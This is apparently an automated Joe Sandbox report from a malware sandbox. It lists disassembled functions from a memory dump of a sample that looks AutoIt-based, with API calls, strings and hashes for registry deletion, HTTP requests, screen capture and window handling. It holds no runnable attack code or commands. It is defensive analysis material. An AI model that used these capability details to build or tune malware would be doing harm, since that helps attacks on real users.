CLASS, xrefs: 01033188, 010331A5
REGEXPCLASS, xrefs: 01033255, 01033266
CLASSNN, xrefs: 010331F3, 01033204
INSTANCE, xrefs: 01033453
TEXT, xrefs: 0103347C
NAME, xrefs: 01033335, 01033346

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 176396367-1603158881
Opcode ID: cb1c7a7c7eb0ac5628ad9e20d27ee0ed61f66e6120bd5e4a89971c95b3defbdc
Instruction ID: 66f52825b4d4eb2556f94318b223c249ab64bcb22e0424c09669a07da256d8a3
Opcode Fuzzy Hash: cb1c7a7c7eb0ac5628ad9e20d27ee0ed61f66e6120bd5e4a89971c95b3defbdc
Instruction Fuzzy Hash: 9BE10632A001169BCF199F68C8917FEFBB8BF84710F14815AE5D6EB241DF30A945DB90

Function 010444C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,0106CC08), ref: 01044527
_wcslen.LIBCMT ref: 0104453B
_wcslen.LIBCMT ref: 01044599
_wcslen.LIBCMT ref: 010445F4
_wcslen.LIBCMT ref: 0104463F
_wcslen.LIBCMT ref: 010446A7

Part of subcall function 00FEF9F2: _wcslen.LIBCMT ref: 00FEF9FD

GetDriveTypeW.KERNEL32(?,01096BF0,00000061), ref: 01044743

Strings

removable, xrefs: 010445EA, 010445EF
network, xrefs: 0104469D, 010446A2
cdrom, xrefs: 0104458F, 01044594
ramdisk, xrefs: 010446F1
fixed, xrefs: 01044635, 0104463A
unknown, xrefs: 01044708
all, xrefs: 01044531, 01044536

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 373dc7b2df3e4d5f7a4dedbfd6fcc2656b9688c630b6e54a63389acd5afc9642
Instruction ID: 3897bfe768af297ce158af8cb069bb4f11746d9a6f5dfe128e48b595aade8441
Opcode Fuzzy Hash: 373dc7b2df3e4d5f7a4dedbfd6fcc2656b9688c630b6e54a63389acd5afc9642
Instruction Fuzzy Hash: 35B1FEB16083029BC710DF28C8D0A6EB7E5BF99760F44496DF5D6C7292E734D845CBA2

Function 01053FE9 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 478libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0106CC08), ref: 010540BB
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 010540CD
GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,0106CC08), ref: 010540F2
FreeLibrary.KERNEL32(00000000,?,0106CC08), ref: 0105413E
StringFromGUID2.OLE32(?,?,00000028,?,0106CC08), ref: 010541A8
SysFreeString.OLEAUT32(00000009), ref: 01054262
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 010542C8
SysFreeString.OLEAUT32(?), ref: 010542F2

Strings

GetModuleHandleExW, xrefs: 010540C7
kernel32.dll, xrefs: 010540B6

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: FreeString$Library$AddressFileFromLoadModuleNamePathProcQueryType
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 354098117-199464113
Opcode ID: e22443f4a82d50cd95c1d6f7a843c4486c235a75831866fc5511c8891b22300a
Instruction ID: 88b3735d5d46db5159c479c10f448b43cfe19db4968147cda71d5ce77da89b6a
Opcode Fuzzy Hash: e22443f4a82d50cd95c1d6f7a843c4486c235a75831866fc5511c8891b22300a
Instruction Fuzzy Hash: 2C125D71A00115EFDB95CF98C884EAEBBB9FF45314F148098E985DB252DB31ED86CB90

Function 00FD326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(010A1990), ref: 01012F8D
GetMenuItemCount.USER32(010A1990), ref: 0101303D
GetCursorPos.USER32(?), ref: 01013081
SetForegroundWindow.USER32(00000000), ref: 0101308A
TrackPopupMenuEx.USER32(010A1990,00000000,?,00000000,00000000,00000000), ref: 0101309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 010130A9

Strings

0, xrefs: 00FD327D

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: c2442142cc45ff46583fdb0248c40ecdd68b7c3211e0e42482212b3411d700f6
Instruction ID: 6cfa76654f6a1f831faecb9aaea601050190b2bc413876d748d78d9f3ce0db24
Opcode Fuzzy Hash: c2442142cc45ff46583fdb0248c40ecdd68b7c3211e0e42482212b3411d700f6
Instruction Fuzzy Hash: 25714B31640209BEFB319F28CC49FAABFA9FF05324F244217F6946A2D4C7B5A850DB51

Function 01066CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 01066DEB

Part of subcall function 00FD6B57: _wcslen.LIBCMT ref: 00FD6B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 01066E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 01066E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 01066E94
DestroyWindow.USER32(?), ref: 01066EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00FD0000,00000000), ref: 01066EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 01066EFD
GetDesktopWindow.USER32 ref: 01066F16
GetWindowRect.USER32(00000000), ref: 01066F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 01066F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 01066F4D

Part of subcall function 00FE9944: GetWindowLongW.USER32(?,000000EB), ref: 00FE9952

Strings

tooltips_class32, xrefs: 01066E58, 01066EDD
0, xrefs: 01066D98

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: 425636902746d9bb75210c8a1f41bcc4c1ed97d79adbc6c06adcb4f216309c0d
Instruction ID: 7dc5190c4b6550edc25dd9f1593d53c40e546bfd0c9db9639aeb50c85c65af19
Opcode Fuzzy Hash: 425636902746d9bb75210c8a1f41bcc4c1ed97d79adbc6c06adcb4f216309c0d
Instruction Fuzzy Hash: B8717670104244AFEB21CF1CC844EAABBE9FB89304F84045EFADA87261C776E906DB15

Function 0106911E Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00FE9BB2

DragQueryPoint.SHELL32(?,?), ref: 01069147

Part of subcall function 01067674: ClientToScreen.USER32(?,?), ref: 0106769A
Part of subcall function 01067674: GetWindowRect.USER32(?,?), ref: 01067710
Part of subcall function 01067674: PtInRect.USER32(?,?,01068B89), ref: 01067720

SendMessageW.USER32(?,000000B0,?,?), ref: 010691B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 010691BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 010691DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 01069225
SendMessageW.USER32(?,000000B0,?,?), ref: 0106923E
SendMessageW.USER32(?,000000B1,?,?), ref: 01069255
SendMessageW.USER32(?,000000B1,?,?), ref: 01069277
DragFinish.SHELL32(?), ref: 0106927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 01069371

Strings

@GUI_DRAGID, xrefs: 010692E9
@GUI_DROPID, xrefs: 0106929E
@GUI_DRAGFILE, xrefs: 01069320

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 221274066-3440237614
Opcode ID: 7d2a8afae115f81893474596dbdb97d5cfb7de4911806192281b1de2e1c03bc2
Instruction ID: 08a3cc4d85e15daa0544c5205a7a6b72b7feb42fc46311021e80bffcce3216e4
Opcode Fuzzy Hash: 7d2a8afae115f81893474596dbdb97d5cfb7de4911806192281b1de2e1c03bc2
Instruction Fuzzy Hash: A5618871108302AFD701DFA0DC85DAFBBE9EF88750F40091EF5D5922A0DB759A48CB62

Function 0104C476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0104C4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0104C4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0104C4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0104C4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0104C533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0104C549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0104C554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0104C584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0104C5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0104C5F0
InternetCloseHandle.WININET(00000000), ref: 0104C5FB

Strings

, xrefs: 0104C575

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: 133f62c79c8051774763b1ff7d9784254f43eef04b1090390cdbee67f52394bf
Instruction ID: 2c5e97e0db1465ef6c33940033df444e73322b13ffa59dcbfa0f3245b9d19c04
Opcode Fuzzy Hash: 133f62c79c8051774763b1ff7d9784254f43eef04b1090390cdbee67f52394bf
Instruction Fuzzy Hash: DF513FB1501605BFFB219F65CA88AAF7BFCFF08754F008429F9C696150DB39E9449BA0

Function 0106856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00000000,?,000000EC), ref: 01068592
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 010685A2
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 010685AD
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 010685BA
GlobalLock.KERNEL32(00000000), ref: 010685C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 010685D7
GlobalUnlock.KERNEL32(00000000), ref: 010685E0
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 010685E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,000000F0,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 010685F8
OleLoadPicture.OLEAUT32(000000F0,00000000,00000000,0106FC38,?), ref: 01068611
GlobalFree.KERNEL32(00000000), ref: 01068621
GetObjectW.GDI32(?,00000018,?), ref: 01068641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 01068671
DeleteObject.GDI32(?), ref: 01068699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 010686AF

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 2afcfd496e45bcedcbbc5e9e2a9571e3039aa916ea6a9778ef31fd26513e416c
Instruction ID: 381731c07dbf9b1b6bd5ef29cf878481826be3b9ae0c107988d71b44e5bafb2e
Opcode Fuzzy Hash: 2afcfd496e45bcedcbbc5e9e2a9571e3039aa916ea6a9778ef31fd26513e416c
Instruction Fuzzy Hash: DF412B75600205AFEB219FA9CD48EAE7BBCEF89711F008059F989EB264D7359901CB20

Function 010414BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 01041502
VariantCopy.OLEAUT32(?,?), ref: 0104150B
VariantClear.OLEAUT32(?), ref: 01041517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 010415FB
VarR8FromDec.OLEAUT32(?,?), ref: 01041657
VariantInit.OLEAUT32(?), ref: 01041708
SysFreeString.OLEAUT32(?), ref: 0104178C
VariantClear.OLEAUT32(?), ref: 010417D8
VariantClear.OLEAUT32(?), ref: 010417E7
VariantInit.OLEAUT32(00000000), ref: 01041823

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 01041625
Default, xrefs: 010416AF

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: 7cf39506975662ba6c70e67da2d44ae5f779e833a1bc734f1886743d481545df
Instruction ID: d3173a3c65ca477d726e559941d04a0c35780443d6593e9cba3ae12d9e6ef2fd
Opcode Fuzzy Hash: 7cf39506975662ba6c70e67da2d44ae5f779e833a1bc734f1886743d481545df
Instruction Fuzzy Hash: 8CD1D5B1600219DBDB10DF65D8C5BBDBBF5BF05700F0880A6E9969B280DB35F885DBA1

Function 0105B60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

Part of subcall function 0105C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0105B6AE,?,?), ref: 0105C9B5
Part of subcall function 0105C998: _wcslen.LIBCMT ref: 0105C9F1
Part of subcall function 0105C998: _wcslen.LIBCMT ref: 0105CA68
Part of subcall function 0105C998: _wcslen.LIBCMT ref: 0105CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0105B6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0105B772
RegDeleteValueW.ADVAPI32(?,?), ref: 0105B80A
RegCloseKey.ADVAPI32(?), ref: 0105B87E
RegCloseKey.ADVAPI32(?), ref: 0105B89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 0105B8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0105B904
RegDeleteKeyW.ADVAPI32(?,?), ref: 0105B922
FreeLibrary.KERNEL32(00000000), ref: 0105B983
RegCloseKey.ADVAPI32(00000000), ref: 0105B994

Strings

RegDeleteKeyExW, xrefs: 0105B8FE
advapi32.dll, xrefs: 0105B8ED

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: de34fa4445113de9bbda7053546e1b94d6bc0cceaa6be09157573c7a800124ad
Instruction ID: c7bf221b8c651a94c59af0b9a54b8657daabf23e8fdc9eead26fd8ec05e55f83
Opcode Fuzzy Hash: de34fa4445113de9bbda7053546e1b94d6bc0cceaa6be09157573c7a800124ad
Instruction Fuzzy Hash: 17C17E34204201AFE750DF18C495F2ABBE2FF85308F18859DF9968B3A2CB75E945CB91

Function 0105255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 010525D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 010525E8
CreateCompatibleDC.GDI32(?), ref: 010525F4
SelectObject.GDI32(00000000,?), ref: 01052601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 0105266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 010526AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 010526D0
SelectObject.GDI32(?,?), ref: 010526D8
DeleteObject.GDI32(?), ref: 010526E1
DeleteDC.GDI32(?), ref: 010526E8
ReleaseDC.USER32(00000000,?), ref: 010526F3

Strings

(, xrefs: 0105268D

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 0b6773154227c1fa3e6bafd0bbe2d3eb3e319bad10a08f61215876f9c8cf2c7c
Instruction ID: 340f1eca7a52e99a22fad7b9326b7bdb71da08aa298bf5e0b8b468b35ab1a18a
Opcode Fuzzy Hash: 0b6773154227c1fa3e6bafd0bbe2d3eb3e319bad10a08f61215876f9c8cf2c7c
Instruction Fuzzy Hash: DA611375D00209EFDF15CFA8C984AAEBBF5FF48310F20852AE995A7250D775A940CFA0

Function 0100DA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0100DAA1

Part of subcall function 0100D63C: _free.LIBCMT ref: 0100D659
Part of subcall function 0100D63C: _free.LIBCMT ref: 0100D66B
Part of subcall function 0100D63C: _free.LIBCMT ref: 0100D67D
Part of subcall function 0100D63C: _free.LIBCMT ref: 0100D68F
Part of subcall function 0100D63C: _free.LIBCMT ref: 0100D6A1
Part of subcall function 0100D63C: _free.LIBCMT ref: 0100D6B3
Part of subcall function 0100D63C: _free.LIBCMT ref: 0100D6C5
Part of subcall function 0100D63C: _free.LIBCMT ref: 0100D6D7
Part of subcall function 0100D63C: _free.LIBCMT ref: 0100D6E9
Part of subcall function 0100D63C: _free.LIBCMT ref: 0100D6FB
Part of subcall function 0100D63C: _free.LIBCMT ref: 0100D70D
Part of subcall function 0100D63C: _free.LIBCMT ref: 0100D71F
Part of subcall function 0100D63C: _free.LIBCMT ref: 0100D731

_free.LIBCMT ref: 0100DA96

Part of subcall function 010029C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0100D7D1,00000000,00000000,00000000,00000000,?,0100D7F8,00000000,00000007,00000000,?,0100DBF5,00000000), ref: 010029DE
Part of subcall function 010029C8: GetLastError.KERNEL32(00000000,?,0100D7D1,00000000,00000000,00000000,00000000,?,0100D7F8,00000000,00000007,00000000,?,0100DBF5,00000000,00000000), ref: 010029F0

_free.LIBCMT ref: 0100DAB8
_free.LIBCMT ref: 0100DACD
_free.LIBCMT ref: 0100DAD8
_free.LIBCMT ref: 0100DAFA
_free.LIBCMT ref: 0100DB0D
_free.LIBCMT ref: 0100DB1B
_free.LIBCMT ref: 0100DB26
_free.LIBCMT ref: 0100DB5E
_free.LIBCMT ref: 0100DB65
_free.LIBCMT ref: 0100DB82
_free.LIBCMT ref: 0100DB9A

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 9f2ac2bbc661ef493700b1d973b439b5028659a318c79e99af8c616188ee2662
Instruction ID: cac6e923f02d539fe2cac0ffb1567042a6e23e09fd8a78abda6c82cc4b0169af
Opcode Fuzzy Hash: 9f2ac2bbc661ef493700b1d973b439b5028659a318c79e99af8c616188ee2662
Instruction Fuzzy Hash: 463139316046069FFB63AAB9E848B9A7BE9FF11250F244459E4C9D71D1DE35E880CB30

Function 0103365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0103369C
_wcslen.LIBCMT ref: 010336A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 01033797
GetClassNameW.USER32(?,?,00000400), ref: 0103380C
GetDlgCtrlID.USER32(?), ref: 0103385D
GetWindowRect.USER32(?,?), ref: 01033882
GetParent.USER32(?), ref: 010338A0
ScreenToClient.USER32(00000000), ref: 010338A7
GetClassNameW.USER32(?,?,00000100), ref: 01033921
GetWindowTextW.USER32(?,?,00000400), ref: 0103395D

Strings

%s%u, xrefs: 01033734

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
